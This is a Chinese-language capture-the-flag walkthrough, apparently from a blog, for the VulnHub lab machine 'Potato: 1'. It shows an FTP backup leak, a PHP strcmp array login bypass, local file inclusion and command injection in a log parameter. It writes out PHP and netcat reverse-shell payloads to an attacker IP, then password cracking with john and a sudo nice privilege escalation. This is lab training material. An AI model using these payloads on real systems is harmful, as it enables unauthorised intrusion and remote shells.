wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.33:Potato: 1(vulnhub)渗透测试
发表于: | 分类: 安全测试 | 评论:0 | 阅读: 1633

一、前言

主要利用方式:LFI(本地文件包含)+RCE(命令执行)

二、靶机信息

靶场: vulnhub.com
靶机名称: POTATO: 1
难度: 简单
发布时间: 2020 年8月 02日
下载地址:https://www.vulnhub.com/entry/potato-1,529/

三、虚拟机配置
VirtualBox、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配

四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l

2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 10.0.2.20
└─$ sudo nmap -p22,80 -sV -A 10.0.2.20

3、2112 ftp端口存在匿名用户免密登录

 并且存在index.php的备份信息

└─$ ftp 10.0.2.20 -p 2112

ftp> get index.php.bak

└─$ cat index.php.bak

4、80web服务访问,常规路径扫描及访问
http://10.0.2.20/

└─$ dirsearch -u 10.0.2.20

http://10.0.2.20/admin/

5、有登录,通过备份的index页面,得知php中strcmp函数存在漏洞,利用漏洞,登录网站
通过传入非字符串,将函数报错!但是函数返回“0” 。 判断却是“相等”
如何传入非字符串?答案是传入数组,将变量的结尾加上“[ ]” 将其构造为数组。

成果进入网站页面

访问dashboard.php页面
http://10.0.2.20/admin/dashboard.php

6、查看日志功能,存在LFI(本地文件包含)

  file=log_01.txt  ==>  file=../../../../../etc/passwd

五、漏洞利用(突破边界)

7、【方法一】日志存在本地文件包含,尝试本地命令执行,再反弹shell

   通过尝试,file入参处,通过更改入参,可以进行获取本地命令执行
  file=log_01.txt  ==>        file=log_01.txt;ls

可本地命令执行,即可反弹shell,经过尝试,php以及本地nc是可以执行反弹shell,但bash无法反弹

file=log_01.txt;php%20-r%20'%24sock%3Dfsockopen(%2210.0.2.7%22%2C9999)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'

POC:php -r '$sock=fsockopen("10.0.2.7",9999);exec("/bin/sh -i <&3 >&3 2>&3");'

file=log_01.txt;nc%20-e%20%2Fbin%2Fsh%2010.0.2.7%209999
POC:nc -e /bin/sh 10.0.2.7 9999

8、【方法二】passwd文件中webadmin用户加密的密码已经存在,可以直接通过john去爆破,方法一中,拿到了www-data的权限后,依然需要查询webadmin的密码
将webadmin的一行保存到本地文件,使用john工具爆破,拿到webadmin用户的密码:dragon
└─$ vi webadmin
└─$ cat webadmin
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt webadmin
dragon (webadmin)

9、登录webadmin用户,获取第一个flag
└─$ ssh webadmin@10.0.2.20

webadmin@serv:~$ ls -la
webadmin@serv:~$ cat user.txt
TGUgY29udHLDtGxlIGVzdCDDoCBwZXUgcHLDqHMgYXVzc2kgcsOpZWwgcXXigJl1bmUg

六、提权
10、通过查找高权限的用户或者文件等,发现任意用户可以通过/bin/nice 运行/notes中的所有文件。

11、写个bash脚本并且运行,即可获取root权限
webadmin@serv:~$ echo "/bin/bash" >root.sh
webadmin@serv:~$ chmod 777 root.sh

webadmin@serv:~$ sudo /bin/nice /notes/../home/webadmin/root.sh

11、查看root的flag及验证ip

添加新评论

TOP